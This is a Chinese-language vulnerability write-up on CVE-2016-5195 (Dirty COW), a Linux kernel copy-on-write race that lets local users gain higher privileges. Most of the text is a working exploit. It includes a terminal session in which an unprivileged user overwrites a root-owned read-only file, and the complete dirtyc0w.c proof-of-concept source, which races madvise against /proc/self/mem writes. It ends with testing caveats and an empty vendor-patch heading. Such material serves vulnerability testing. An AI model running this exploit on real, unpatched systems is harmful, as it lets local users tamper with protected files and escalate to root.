一、漏洞簡介
CVE-2016-5195這個漏洞是linux內核級的本地提權漏洞,原理是linux內核內存子系統在
處理私有只讀存儲映射的寫入時復制機制發現了一個沖突條件。這個漏洞官方給出的影響范圍是在
linux內核2.6.22以后的版本都受影響,同時已經在2016年10月18日進行了修復。
二、漏洞影響
1. 沒有權限的本地用戶可以使用此漏洞獲取寫訪問權限,修改制度內存映射,從而提權。
2. 改漏洞允許攻擊者使用本地賬戶修改磁盤上的二進制文件,繞過標准權限的限制,這些權限機制通常用於防止修改沒有適當的權限集。
三、漏洞測試
[root@localhost tmp]# echo test123 > test.txt [root@localhost tmp]# chmod 0404 test.txt [root@localhost tmp]# ls -lash test.txt 4.0K -r-----r--. 1 root root 8 10月 24 16:18 test.txt [root@localhost tmp]# vim dirtyc0w.c [root@localhost tmp]# cat test.txt test123 [root@localhost tmp]# gcc -lpthread dirtyc0w.c -o dirtyc0w [root@localhost tmp]# su - pentest 上一次登錄:一 10月 24 09:02:01 CST 2016:0 上 最后一次失敗的登錄:一 10月 24 13:44:23 CST 2016從 :0:0 上 最有一次成功登錄后有 2 次失敗的登錄嘗試。 [pentest@localhost ~]$ cd /tmp/ [pentest@localhost tmp]$ ls -l 總用量 24 -rwxr-xr-x. 1 root root 13432 10月 24 16:20 dirtyc0w -rw-r--r--. 1 root root 2975 10月 24 16:20 dirtyc0w.c -r-----r--. 1 root root 8 10月 24 16:18 test.txt [pentest@localhost tmp]$ ./dirtyc0w test.txt 123test mmap 7f2075a07000 madvise 0 procselfmem 700000000 [pentest@localhost tmp]$ cat test.txt 123test [pentest@localhost tmp]$
漏洞利用POC: dirtyc0w.c
/* ####################### dirtyc0w.c ####################### $ sudo -s # echo this is not a test > foo # chmod 0404 foo $ ls -lah foo -r-----r-- 1 root root 19 Oct 20 15:23 foo $ cat foo this is not a test $ gcc -pthread dirtyc0w.c -o dirtyc0w $ ./dirtyc0w foo m00000000000000000 mmap 56123000 madvise 0 procselfmem 1800000000 $ cat foo m00000000000000000 ####################### dirtyc0w.c ####################### */ #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> void *map; int f; struct stat st; char *name; void *madviseThread(void *arg) { char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) { /* You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 > This is achieved by racing the madvise(MADV_DONTNEED) system call > while having the page of the executable mmapped in memory. */ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c); } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; /* You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 > The in the wild exploit we are aware of doesn't work on Red Hat > Enterprise Linux 5 and 6 out of the box because on one side of > the race it writes to /proc/self/mem, but /proc/self/mem is not > writable on Red Hat Enterprise Linux 5 and 6. */ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) { /* You have to reset the file pointer to the memory position. */ lseek(f,(uintptr_t) map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c); } int main(int argc,char *argv[]) { /* You have to pass two arguments. File and Contents. */ if (argc<3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1,pth2; /* You have to open the file in read only mode. */ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1]; /* You have to use MAP_PRIVATE for copy-on-write mapping. > Create a private copy-on-write mapping. Updates to the > mapping are not visible to other processes mapping the same > file, and are not carried through to the underlying file. It > is unspecified whether changes made to the file after the > mmap() call are visible in the mapped region. */ /* You have to open with PROT_READ. */ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %zx\n\n",(uintptr_t) map); /* You have to do it on two threads. */ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]); /* You have to wait for the threads to finish. */ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0; }
注意事項:
有些發行版系統的內核可能在受影響范圍內,但是使用上述poc的時候,編譯也沒出錯,
文件權限也沒出錯,漏洞執行的過程中沒有任何錯誤但是就是無法寫入內容到指定文件中,原因可能是
該POC不適用你的發行版或內核,如此就沒辦法測試了。雖然沒有辦法執行但是不意味着該漏洞不存在,
保險起見還是要按着官方給出的修復建議進行相關修復。
廠商補丁: